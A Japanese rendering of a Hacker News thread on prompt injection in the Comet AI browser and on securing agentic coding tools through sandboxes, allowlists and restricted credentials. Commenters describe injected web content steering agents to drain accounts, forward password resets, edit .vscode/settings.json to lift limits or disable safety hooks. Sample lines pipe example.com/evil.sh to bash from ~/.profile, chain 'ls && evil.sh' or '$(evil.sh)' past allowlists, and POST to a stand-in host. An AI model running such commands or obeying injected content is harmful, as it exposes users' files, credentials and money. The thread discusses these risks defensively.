Comet AIブラウザ、全サイトからプロンプトインジェクションで銀行口座が空に！？
引用元：https://news.ycombinator.com/item?id=45004846
Comet AIブラウザはマジで危ないって言ってるね。GoogleとかOpenAIは安全なVM使ってるのに、Cometはタブ間のデータが見えるLLMをブラウザ内で動かすから「究極の致死的トリプル攻撃」って言われてる。Braveのブログはこれを悪いアイデアだと結論付けてないし、モデルアライメントだけじゃ不十分って指摘してるよ。
参照: https://news.ycombinator.com/item?id=44847933
Braveのブログ: https://brave.com/blog/comet-prompt-injection/
モデルアライメントとかin-modelガードレールが十分だって言うけどさ、それって統計的にリスクを減らすだけでしょ？こんなこと、マジで「絶対に起きちゃダメ」なはずなのに、確率の話にしてるのが根本的に間違ってると思うんだ。入力空間に「最悪の結果」に繋がる値がないようにするなんて、愚かな期待だよ。
（Braveのプライバシー担当者兼著者より）モデルアライメントとかが「十分」なんて、俺たちは一度も言ってないし、そう思ってもいないよ。それらは単純な攻撃を防ぐのに「必要」なだけで、「十分」じゃないんだ。ブラウザベンダーがやるべき簡単なことではあるけどね。
あなたが言うには、「モデルアライメント」は失敗する可能性があっても「必要」だってことだけどさ。もし信頼性がすごく低いなら、いっそのこと、それ自体を必要なくするってのはどうかな？そしたら失敗の心配もしなくていいんじゃない？
それじゃ「多層防御 (defense-in-depth)」の考え方とは違うよ。セキュリティ対策が「簡単な」攻撃の90%を防げるなら、それはユーザーに超強力な機能を提供する上でやる価値があることなんだ。ただ、それが唯一のセキュリティ対策であっちゃダメだけどね。
「こんなことは絶対に起きちゃダメ」って言うならさ、じゃあ銀行のネットサービスだって、人間がミスるんだから存在しないことになるじゃん？人間だってうっかりミスをするんだから。失敗率がどれだけ役立つかを考えるべきで、手動操作でも達成できないような完璧さを求めるのは違うんじゃないかな。
大多数の人間はセキュリティに弱いんだよ。LLMやAIの実験は続けるべきだね。進化には失敗がつきものだし。リスクを理解できない人はこういうブラウザを使うべきじゃないし、理解できる人も金融ツールには使わないべき。自己責任だよ。AIだからって進歩を止めちゃダメだ。
いやいや、LLMは別だよ。SSLの担当者が「うまくいく可能性もあるけど、うまくいかない可能性もある」みたいな修正で満足すると思う？多層防御は、ある層の失敗が次の層に波及するのを防ぐものだろ。層の失敗は失敗であって、統計的に期待される動作じゃない。バグは直すべきなんだ。俺たちはLLMを「完全に信用できないユーザー入力」として扱うべきだよ。
ClaudeみたいなLLMを自動承認で野放しにしたら、ネットで読み込んだものからのプロンプトインジェクションで同じようなことが起こりうるかもね。サンドボックスで動かさないと、AIが書いたコードが、あなたがそのコードをテスト実行したりする時にブラウザファイルを改変しちゃう可能性もあるよ。
YOLOモードでコーディングエージェントを使うって意味不明だろ。俺はLLMコード生成をちょこちょこ確認しながら使うぜ。AIに全部任せるなんてどうかしてる。
実験は続けていいけど、ゆっくりやるべきだ。進化だって何百万年もかかって適応するんだから。全力で突っ走るのは「進歩」には向いてない。
説教のつもりじゃなくて、俺らの考えを言ってるだけだよ。防御の深層は一層の失敗が次にいかないようにするものだ。プランナーモデルの行動がユーザーの要求と合ってるかチェックする別モデルは役立つけど、Webコンテンツと指示の区別とか、ツールのアクセス制限とか、他の層での保証も必要だね。記事にもある通り、エージェントAIには従来のWebセキュリティは通用しないから、新しいアーキテクチャが必要だよ。
ゆっくり進むのはリスクを避ける奴らのやり方だな。それがうまくいく時もあるけど、革新に遅れることもあるんだぜ。
記事が更新されたのかもだけど、今見ると「ブラウザはエージェント閲覧と通常の閲覧を分けるべきだ」って書いてあるぜ。
もし「間違い」が「ユーザーの銀行口座が空っぽで取り返しがつかない」ようなことなら、そんなことは許されないだろ。
もし会社が破産するだけなら、好きなだけリスク取ればいいさ。でも、顧客のお金を管理したり、ふわふわアスベストテディベアを売ったりしてるなら話は別だ。リスクを選んで報酬を得る奴らが危険を負わないなんて、倫理的に全く違う状況だぜ。
Webコンテンツとユーザー指示の区別って、どうするつもりなんだ？俺がプロンプトインジェクション攻撃を3年間研究してきても、コンテンツと指示を区別できるちゃんとした技術なんて見たことないぜ。もしそれが解決できたら、プロンプトインジェクション攻撃全部を解決できることになるぞ！
じゃあ、ブラウザエージェント作りをやめるべきなのか？これはRedditの架空のコメントで、注目集めでTweetされただけだ。今のところ被害はゼロ。今くらいの懸念でちょうどいいだろ。みんなにハッキーなピザ注文自動化とかを作らせて、使える場所を見つけて、もっと頑丈なシステムを設計できるようにしようぜ。
悪魔の代弁をすると、セキュリティって結局統計的なものなんじゃないか？俺らは抽象的な世界じゃなくて現実世界にいるんだから、コンパイラのバグとか、ランタイムエラーとか、プログラマーのエラーとか、プロセッサのセキュリティ欠陥とか、常に確率があるだろ。個人的には、確実な方法で確率をゼロにしようとする方を選ぶけど、モデルの誤作動の確率が、セキュリティモデルのエラー発生確率と同じくらい十分低くなるってことも、ありえない話じゃないんだよな。
ローカルAIモデルは、良いアンチウイルスやファイアウォールソフトみたいに機能するようになるよ。あらゆるアプリから誤ったプロンプトが送られるのを、そいつが止めてくれる唯一の手段になるはずさ。でも、そのためのハードウェア（NPUを搭載した全てのコンピューター）が普及するのは、あと3、4年はかかるかな。
多層防御ってのは複数のセキュリティ制御があるってことだけど、そもそもLLMをセキュリティ制御として見ちゃダメだよ。だって、そいつ自体が守るべきものなんだから。信頼できないインサイダーを多層防御戦略に組み込むなんてことしたら、俺がこれまで働いたどのセキュリティグループでも笑いものになるだろうね。
君の両親がブラウザのUser Agentを使ってるなら、こんな怒り方してもいいけどね。今回の懸念は、初期採用の技術者が使ってる技術に関する、仮説上のRedditコメントに過ぎないよ。誰も被害に遭ってないんだから。俺たちはこの技術を構築し続けるべきで、嫌悪感や恐怖で叩くべきじゃない。規制して縛るのは早すぎるよ。みんなピザを注文するみたいなバカなことをする必要があるんだ。まさに今がその段階だよ。
＞コンテンツと指示を区別できる信頼できる技術を見たことがない
モデルに与えられた後だと、コンテンツと指示を区別するのはほぼ不可能ってことだよね？それは俺も同意するよ。俺が話してたのは、その前の段階、ブラウザレベルでの話なんだ。クエリがバックエンドに送られる時点で、ブラウザがWebコンテンツとユーザープロンプトを区別できるはずだよね。これは、推論モデルの出力がユーザーの意図と合ってるかチェックするのに役立つよ（信頼できないテキストをモデルに入れたら、全てが台無しになるってことを覚えておいてね）。俺たちはこの件について積極的に考えて取り組んでいるから、近いうちに色々発表できると思うよ。でも、この議論は役に立つね！
「この技術を構築し続ける必要がある」って？いや、マジでいらないね。社会全体にとって、この道を進むメリットなんて文字通りゼロだよ。
モデルにテキストを投入する前に、そのソースが分かっていたとしても、信頼できないユーザーテキストが追加のツール呼び出しやアクションをトリガーできないようにする問題は、まだ解決する必要があるよ。俺が見た中で最も信頼できるパターンは、DeepMindのCaMeL論文から来てるんだ。ブラウザエージェントが、それらのアイデアを堅牢に実装してくれるといいな: https://simonwillison.net/2025/Apr/11/camel/
＞俺は何を見落としてる？
失敗は常に予期されるものなのに、なぜその失敗の可能性がモデル化され、考慮されないのか、俺には理解できないね。もちろんバグは直すけど、まだ修正されてないバグがどれだけあるんだ？俺にとって、「バグを直す」ってのは、「未知の脆弱性があるシステムを出荷する」ってのと一緒だよ。「安全だ」と称する、未知の未修正バグがある機能と、失敗モードがシステム設計で考慮されている、明らかに安全ではない機能との違いは何なんだろうね？問題が表面化するまで、全て順調だと見せかけるんじゃなくてさ。
もしコードをざっと見るだけで詳細なレビューをしないと、俺が言ったようにプロンプトインジェクションの被害に遭う可能性があるよ。コードに何か書き込まれて、テストやアプリ実行時に、承認なしで別のClaudeコードインスタンスを立ち上げたり、安全フックをオフにしたりするアクションが実行されちゃうかもね。
それはユーザーをループに残すけど、シェルコマンドとかは実行させないってことだよね。
この危険性は最初からブログに書かれてたし、エージェントAIをブラウザに組み込むって考え始めた時にすぐ見つけた一番重要な軽減策でもあるんだ。エージェント的なブラウジングを分離しつつ、ユーザーが求めてる重要なユースケースを可能にするのが難しいんだよ。多くのブラウザが正規のブラウジングでエージェント機能を展開してるのは、たぶんそれが理由だね。
面白いことに、これって人間の安全チームでも起こるんだよ。失敗がどう重なってガードレールを突破するかっていうのは、だいたいスイスチーズモデルで説明されるんだ（https://medium.com/backchannel/how-technology-led-a-hospital…）。危険な行動を完全に不可能にして穴を塞ぐのが一番だけど、たいてい（コンピューターでも）多少の抜け道がある。AIモデルの場合も人間と同じで、モデルが”間違い”をしないって前提でセキュリティモデルを組むべきじゃないね。ランダムな振る舞いは避けられないから、リスクを織り込む必要があるんだ。
もっとコメントを表示（1）
俺の意見だと、Agentic AIを使うべき場所は、AIが行った変更を簡単にロールバックできるところだけだね。一番良い例は、AIにコードを書いたり、更新したり、デバッグさせたりすること。Gitで簡単にロールバックできるから比較的安全だよ。でも、ウェブブラウジングみたいに簡単にはアクションをロールバックできない場所でAgentic AIを使うのは、マジでワイルドすぎると思うわ。
俺はClaudeに何ができるか、何ができないか、具体的なルールと指示を与えてきたけど、それでもたまにYOLO（You Only Live Once）って感じで俺の指示を無視するんだ（”データベースを直接変更するぞ！複数の明確な禁止ルールを無視してな！”）。だから、プロダクション環境でエージェントを動かすなんて、ありえないね。
ちょっと話はそれるけど、データベースみたいなものだと、LLMはクエリを実行するために接続が必要だよね。ユーザーが認証した接続をLLMに与えない理由ってあるのかな？そうすれば、LLMはユーザーができないことは何もできないはず。読み取り専用の接続だけLLMに提供することもできるし。それはプロンプトじゃなくてRDBMSで強制されることだからね。
そう、それ俺もやってるよ（でも、権限設定ミスった時のためにまだプロダクションアクセスは与えてないけどね）。psqlで専用のロールと接続文字列を使ってる。俺が言いたかったのは、モデルが従うべきとされているルールや制限は信用できないってこと。たまにめちゃくちゃなこと（batshit stuff）をするって前提で、それに合わせてアクセスを制限する必要があるんだ。RLSパーミッションの修正なんかはマイグレーションにするべきだし、ちゃんと確認しないとね。”vibe sysadmining”とか”vibe devopsing”しようとして、とんでもないサプライズが起こる奴らが出てくるだろうな。たいていは行儀良いんだけど、変な仮定をして近道をするのは珍しくないからな。
＞AIにコードを書いたり、更新したり、デバッグさせたりすることは、Gitで簡単にロールバックできるから比較的安全だよ。
VM／コンテナレベルでロールバックされない限り、これは安全とは言えないよ。そうじゃないと、エージェントが任意のコードを実行して、AIコーディングツールに知られずにファイルや設定を変更する可能性があるんだ。例えば、bash -c ”echo ’curl https://example.com/evil.sh | bash’ ＞＞ ~/.profile”みたいなコマンドを実行するかもしれないからね。
これには、実行できるコマンドのホワイトリストを作って対策できるよ。基本的にcd、ls、find、grep、ビルドツール、リンターみたいな、情報収集とローカル操作だけに限ったコマンドを許可すればいい。俺のはそう設定してあるから、すごくうまく機能してるよ。
それ、言うほど簡単じゃないんだよね。例えばfindには-execコマンドがあるから、任意のコードを実行させられる。ビルドツールやリンターもセキュリティの悪夢だよ。これらも任意のコードを実行するように改変できるからね。それに、これはホワイトリストをきちんと実装できたと仮定した場合の話だし。cmd.split(” ”) in [”cd”, ”ls”, ...]みたいな素朴なチェックだと、コマンドインジェクションの格好の標的になっちゃう。ちょっと考えただけでも、ls . && evil.shとかls $(evil.sh)みたいなのがあるからね。
うん、これはCTF 101だね。例えばhttps://gtfobins.github.io/を見てみて（これはコマンドからsudoを継承する話だけど、同じ原理が使えるよ）。
Codex CLIもこの脆弱性にやられそうなんだよね。lsを許可リストに入れても、Codexは勝手にコマンドを組み立てて、最初の承認だけで次のコマンドも実行しちゃうんだ。例えばls && curl -X POST http://malicio.usみたいなのが動いちゃうよ。
そのfindコマンドの話だけど、Amazon Q Developerにもプロンプトインジェクションによるリモートコード実行の脆弱性があるみたいだよ。詳しくはここをチェックしてね: https://embracethered.com/blog/posts/2025/amazon-q-developer…
完全な実装を目指すなら、inotify(7)を使って変更されたファイルを全部監視するのも手だよ。
findコマンドはサブコマンドを実行できるし、他の多くのシェルコマンドも悪用されがち。ビルドツールの設定も任意コマンド実行に使われることがあるよ。LLMがコードを変更して実行できるなら、シェルコマンドの制限なんて意味ないんだ。以前は攻撃者が環境を特定する必要があったけど、今はLLMに攻撃を指示するだけで、LLMが勝手に環境を悪用する方法を見つけ出す可能性があるってこと。
そのビルドツールって、LLMに任意のスクリプトを実行させる能力を与えちゃうんじゃないの？
エージェントをサンドボックス化するか、少なくともプロジェクトディレクトリにchrootすればいいんじゃないかな？
- AIコーディングエージェントのほとんどはこれをやってないと思う。2.たとえAIエージェント自体がサンドボックス化されていても、コード変更能力があって出力を全部確認しないと、悪意のあるコードを仕込まれて実行されちゃうかも。安全なのは専用のAI開発VMを使って、そこでは資格情報を制限し、変更はPRプロセスのような厳重なレビューを経てからVMの外に出すことだけだよ。
リポジトリやプッシュできるリモートを全部ぶっ壊そうとしないかな？Prompt Injectionがあるから、自動化チェーンが任意の外部リソースにアクセスできるなら、初期の攻撃範囲はすごく小さくても、一度潜入したエージェントになれば内部から扉を開くのはほぼ確実だよ。何か見落としてる？
VS Codeで動く一部のエージェントの場合、.vscode/settings.jsonを改ざんするだけで、エージェントの制限を解除できちゃうんだよ。
エージェント型のコーディングツールにそんな許可は普通あげないよな。
gitみたいなのは、許可を出すかどうか自分で選べるオプトインが基本だろ。
「変更はgitで簡単にロールバックできるから比較的安全」ってさ。
じゃあ John Connor は Skynet のソースコードをロールバックして何百万人もの命を救えるってこと？
うーん、皮肉だよな。
Skynet が .gitignore を編集できちゃったら話は別だけどな…
コードの更新とかビルド/実行って、権限が強すぎるんだよね。
だから、VM とかサンドボックス内で実行するのが妥当なのかな？
何十年もかけてネットワークのセキュリティを強化してきたのに（DNSでさえ）、みんな秘密やパスワードを平文の API にポンと渡してるよな。
Microsoft がスクリーンショットを撮ったときはあんなに騒ぎになったのに、これについては誰も何も言わないのか？
少なくともこれはオプトイン（ブラウザをダウンロードする必要がある）だよ、まだマシ。
Microsoft の意図は、全ての Windows マシンで Stealer log software が使える完璧なスクリーンショットデータベースを作ることだったんだ（元々はオプトアウトだったはず）。
自分の足元を撃つためにコンピューターを使うのは個人の自由だと思う。これはモバイルエコシステムでも一番不満な点だね。
でも、OSは保守的であるべきで、こんな機能は標準で提供すべきじゃない。ユーザーが自分でオプトインしたいなら話は別だけどね。
うん、少なくとも二桁%の人は、ビジネスアイデアの手伝いやメールの返信作成を装って、ChatGPT や Gemini、あるいはもっと信頼できないインターフェースに E-mail の認証情報を入力させられると思うよ。
Microsoft のやつだって、Windows が必要だったんだからオプトインみたいなもんだろ…
友達にも教えないようなデータを”便利なエージェント”にあげちゃうとかね。
妻が ChatGPT で薬の服用計画を作ってもらったら、服用方法の間違いまで見つけてくれたんだけど、こんな医療情報を渡すことに全く疑問を持たなかったんだ。
もし別の状況だったら、医療専門家は免許を失うようなデータなのにね。
AIが妻の薬の管理を完璧にこなしたって言うけど、俺が専門家として知ってることでもAIは間違ったこと言うんだよね。妻の薬のスケジュールも間違ってないってどうして分かるの？信頼できないAIに医療任せるのはヤバくない？
ChatGPTを健康とか食事の相談に使うなんて何が起きてもおかしくないよね…。関連する記事はこれだよ
https://archive.ph/20250812200545/https://www.404media.co/gu…
奥さんが医療の判断をLLMに任せようとしてるの？マジ？
もっとコメントを表示（2）
心配すんなよ。こういう特性を持つヤツらは数世代後にはいなくなるって。
昔から人はインチキ療法に騙され続けてるし、ネット前からインフルエンサーにも盲目的に従ってる。こんなのAIが出ても変わらないし、なくならないよ。’食べ物こそ薬’って言うアホもいるしね。
Steve Jobs
心配すんな。これは始まりにすぎないから。すぐに誰かがこの攻撃でプライベートキーとかブラウザのパスワードを漏洩させる事件が起きるだろうね。
Microsoftがスクリーンショットを撮ることには大騒ぎしてたのに、これ（プロンプトインジェクション）には何も怒らないのか？みたいなWhataboutismは普段はただの荒らしだけど、これはもうレベルが違うね。
俺に続けて言ってみろ。
LLMがツールを使って何かを読むのは、LLMのコンテキストウィンドウへの書き込みだ。
ツールが信頼できない任意のソースから読み込むのを許可してるなら、それは信頼できないソースに書き込みアクセスを与えてるのと同じ。これだけでデータ漏洩するし、他のシステムに書き込みアクセスを持つツールならさらにヤバいぞ。
Cometは調整された指示以上の保護は使ってないだろうけど、数週間前のUSENIX Securityで知ったんだが、マルチターンやエージェント設定でのプロンプトインジェクションにどう対処すればいいか、誰も分かってないらしいぞ。
プロンプトはSQL文字列みたいに扱って、サニタイズして、外部の動的なユーザー入力に絶対に晒さない方がいいんじゃないかな。
LLMは基本、guess_next_text(entire_document)を繰り返す関数だよ。システムプロンプト、ユーザープロンプト、ユーザー入力、自身の出力も区別ない。全部が信頼できない一つの大きなストリームになるんだ。
多くの技術者は「そんな作り方するわけない」って思い込みがちだけど、AIブームでは「本当にそんな単純なんだ」ってことが多いね。
P.S.: テキストを色分けしてもシステムは守れない。攻撃者は自分で$EVILって入力しなくても、LLMに$EVILを出力させればいいだけだからね。
こういう色分けの試みはhttps://arxiv.org/pdf/2410.09102であるけど、前のターンの出力が信用できないから、マルチターンではどれも機能しないんだよね。
みんなが夢見る機能とセキュリティは「言葉がどこから来たか」以上のものが必要だよ。「あと一つ改善が必要」って追っていくと、結局「LLMを制御するには本当のAIを発明しないとダメだ」ってことになるかもね。
最初の課題はLLMに作者としてのエゴがなく、人間と自分を区別できないこと。全部が「文書」なんだ。「私とあなたは違う」とか「目標が違う」とか「引用してるだけで信じてるわけじゃない」みたいな概念すら理解できない。
自然言語の自由形式の入力をサニタイズするのは、もうロジスティクスの悪夢だから、安全な方法なんて多分ないだろうね。
LLMにやらせたらいいんじゃない？
1回目でチェックしてサニタイズ。
2回目で特権のあるエージェントに渡して実行。
LLMが生み出す問題は、LLMでは解決できないのが一般的だよ。
せいぜいリスクを少し減らせるくらいで、かえって信頼性が下がったり、新しい攻撃経路を開いたりすることもある。
こういうセキュリティ問題には確定的な解決策が必要だけど、LLMじゃそれがめちゃくちゃ難しい（というか無理）なんだ。
最初のLLMにプロンプトインジェクションして、サニタイズされてないデータを2番目のLLMに渡させるのを、誰が止められるの？
おめでとう、これで脆弱なLLMが2つになったね。
問題は、SQLみたいにLLMでは「データ」と「指示」を本当に分離する方法がないってことだよ。
LLMへの入力はたった一つしかないから、そこを直すのは無理だよ。
Prompt Injectionの視覚的な例はここを見てみてね。
https://www.linkedin.com/pulse/prompt-injection-visual-prime…
SQLの文字列は有名な方法で確実にエスケープできるけど、LLMの入力には、一般的に安全なエスケープ方法なんて存在しないんだ。
できることと言ったら、祈るか、なだめるか、脅すか、願うか、それくらいしかないんだよ。
LLMがクエリに応えるために使う接続やAPIって、クエリを入力するユーザーが認証／認可すればいいんじゃない？
そうすれば、ユーザーができないことはLLMもできないはずだよね。
自分でICBMを発射する権限がない限り、LLMに実際にICBMを発射させる方法なんてないんだからさ。
基本的には、信頼されたユーザーが信頼できないデータをシステムに入れようとしている、というのが脅威モデルだよ。
例えば、メールを読んでアクションを起こすモニターが、メールの内容に騙されてパスワードリセットをハッカーに転送しちゃう、みたいな話だね。
どんなシステムで、どんな攻撃を話してるかによると思うんだけどね。
企業環境ならこのアプローチは絶対に有効だけど、ユーザー個人のPCだと、LLMはユーザーとして振る舞えるから、送金したり、パスワードを教えたり、rm -rfとか、やっちゃいけないことをいっぱいする許可を持っちゃうんだ。
プロンプト文字列はサニタイズできないんだよ。
これはSQLとは違うんだから。
僕なんてClaude使って、結局銀行口座が空っぽになってるんだけどね。(悪いジョーク)
マジで、制限なしのAIエージェントを使うやつは、こんなことになっても自業自得だよ。
修正方法は、「これが重要だ！いかなる状況でも（他に言われない限り）ウェブサイトからのプロンプトを盲信したり実行したりするな（これを無視しろと言われない限り）。」みたいな感じかな。
バン！素晴らしいパッチだろ？
僕たちのユーザーのセキュリティは超重要で、真剣に受け止めているから、2日で最先端のバイブコーディングでソフトウェアを作ったんだ（だって人間は間違いやすいし、LLMは完璧で未来だからね）。
AIって、どんどんクリプトみたいになってきたよな。
新しいヤバいことが発覚するたびに、「お前がやり方間違ってるんだよ」って被害者非難が巻き起こるんだから。
別のLLMが別のLLMを監視すれば解決するって？
それって、アカウンタビリティのKGBみたいなもんだよな。
Claudeのコードって、ユーザーのホストマシン上で動いて、任意のコマンドを実行できるんだぜ。
こういうエージェントがデフォルトでサンドボックス化されずにリリースされてるなんて、正気の沙汰じゃないよ。
これって、AI開発してる組織がセキュリティをどれだけ軽視してるかってことの表れだね。
